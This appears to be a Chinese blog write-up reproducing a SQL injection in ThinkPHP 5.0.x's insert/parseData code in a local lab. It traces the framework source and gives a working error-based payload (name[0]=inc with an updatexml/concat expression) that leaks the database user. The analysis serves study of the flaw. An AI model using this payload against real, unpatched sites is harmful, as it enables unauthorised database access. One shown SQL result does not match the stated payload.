ThinkPHP5.0.X框架SQL注入漏洞
ThinkPHP5.0.X框架SQL注入漏洞
环境搭建
- 自己还没有用composer,所以先用了phpstudy简答的搭建了一下环境
1. mysql创建数据
create database thinkphp
创建一个名为thinkphp的数据库create table users(id int auto_increment primary key,username varchar(20),password varchar(30));
创建一个users表里面的段名为id,username,password,其中id设置为主键接着插入数据
Insert into users(id,username,password) values(1,'xbx_0d','tobebetter');
2. ThinkPHP基础配置
没学过ThinkPHP的同学可以参考上面提供的第一个资料
1.开启debug模式
2.配置database文件
3.修改application\index\controller\index.php文件
1 |
|
4.尝试触发漏洞
payload:
1 | /public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1 |
漏洞分析
因为是复现所以明确知道的是insert函数存在漏洞,接下来是分析
首先看自己定义的控制器的index函数
直接转到insert函数的定义在/thinkphp/library/think/db/Query.php文件下,这里自己尝试分析了一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress(); # 分析我们写入的表达式是用来查询还是写入
$data = array_merge($options['data'], $data); # 合并数组,$data是我们自己传入执行语句
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
//运行到这里的时候sql的值为"INSERT INTO `users` (`username`) VALUES (:data__username) "
// 获取参数绑定
$bind = $this->getBind();
//这里的参数绑定就是绑定:data_username
if ($options['fetch_sql']) { #这里$options['fetch_sql']值为false跳过
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
}
// 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind);#这里就是如果sql语句不为空就执行绑定参数的sql语句
if ($result) {
$sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
$lastInsId = $this->getLastInsID($sequence);
if ($lastInsId) {
$pk = $this->getPk($options);
if (is_string($pk)) {
$data[$pk] = $lastInsId;
}
}
$options['data'] = $data;
$this->trigger('after_insert', $options);
if ($getLastInsID) {
return $lastInsId;
}
}
return $result;
}接着我们跟进到
$sql = $this->builder->insert($data, $options, $replace);
的insert()函数这里构造了我们最后要执行的sql语句,所以漏洞一般产生在这里
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data); #以数组形式返回$data数组的键
$values = array_values($data); #以数组形式放回$data数组的值
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
}先转到看一下数据的解析
$data = $this->parseData($data, $options)
假设我们传入的是
?name[0]=username&name[1]=password&name[2]=123456
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
#这里遍历了数组 此时的数组是Array ( [username] => Array ( [0] => username [1] => password [2] => 123456 ) )
foreach ($data as $key => $val) {
#$key username
#$val Array ( [0] => username [1] => password [2] => 123456 )
$item = $this->parseKey($key, $options);
#$item=`username`
#这里的$val是数组所以跳过
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
#如果字段名含有.或者字段名不在$fileds则报错
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) { #跟进到这里
#这里如果$val[0]的值是下面三个中的一个则进行了拼接
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}自己大概捋了一下思路 感觉已经知道了注入的顺序了 接下来就是待入payload梳理一下
这里用七月火师傅给的payload
?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
接下来动态调试一下
1. 入口函数
2. 跟进到insert函数
在红线的地方进行了一次解析,这次解析和漏洞关系不大,只是解析了当前sql语句或者这里应该称之为表达式进行了一次解析,主要内容就是,表名,字段名这些获得的结果如下
1 | $options: |
在接下来的地方执行了array_merge()函数,把两个数组合并成一个数组,并赋值给$data
此时$options[‘data’]为空,而$data就是我们想要插入的键值对
接下来才是最重要的
3. builder.php/insert()
在这里就要跟进到builder类的insert()函数了,这个函数的功能是拼接出最后要执行SQL语句
所以要特别关注这个函数
这里注意的是builder并非是builder类的实例化对象,而是Mysql类的
只是在这里的Mysql类继承了Builder类所以存在insert()函数,废话不多说直接看insert()函数
这里直接执行了一个parseData()函数继续跟进,这就就是漏洞的点了,打气精神来 everybody!
1 | protected function parseData($data, $options) |
首先执行了一个$bind = $this->query->getFieldsBind($options['table']);
这个函数的具体流程还不清楚
但是返回的值是这样的Array ( [id] => 1 [username] => 2 [password] => 2 )
暂且可以理解为是以数组的形式返回数据库的字段名(90%的确定!)
接着就是$fields = array_keys($bind);
将$bind数组的键以一个新的数组赋值到$fields
4. foreach()生成sql语句
此时键值$key是username $val是一个数组在图中已经给出来了
而$item在parseKey解析后值是变为`username`
下面的if由于不是对象直接跳过,直接运行到
此时$val[0]的值是inc直接跳到case inc:执行下面的语句
通过拼接$result[$item]=updatexml(1,concat(0x7,user(),0x7e),1)+1
而reuslt的数组的值就是
1 | Array ( [`username`] => updatexml(1,concat(0x7,user(),0x7e),1)+1 ) |
返回result数组到insert()函数
初始定义protected $insertSql = '%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';
经过解析后变为sql语句变为
1 | INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+123456) |
由于在红线的地方执行sql语句的时候由于updatexml而产生报错
补充
这里漏洞的第一参数name[0]可以修改为dec可以 但是exp我复现失败了 后面回补充完整!
第一次审计TP框架,可能审计的不够完美,希望大家多多包涵!
本文参考七月火师傅的博客
后来发现如果name[0]=exp 经过处理之后值
$val[0]=’exp ‘所以没有匹配到,但是inc和dec却没有加一个trim,所以跟进了一下
在这里打了一下dump($val[0]);值是
string 'exp ' (length=4)
我在这里一个一个尝试了一下 最后发现
在入口函数
1
2
3
4
5
6
7public function index()
{
$name = input("get.name/a");
dump($name[0]);
Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
return "ThinkPHP SQL Test.";
}这里打出$name[0],如果传的是exp就多了一个空格,如果是inc就没有添加空格
最后在这个目录下发现了一个函数 日!
\thinkphp\library\think\Request.php
1
2
3
4
5
6
7
8public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}G!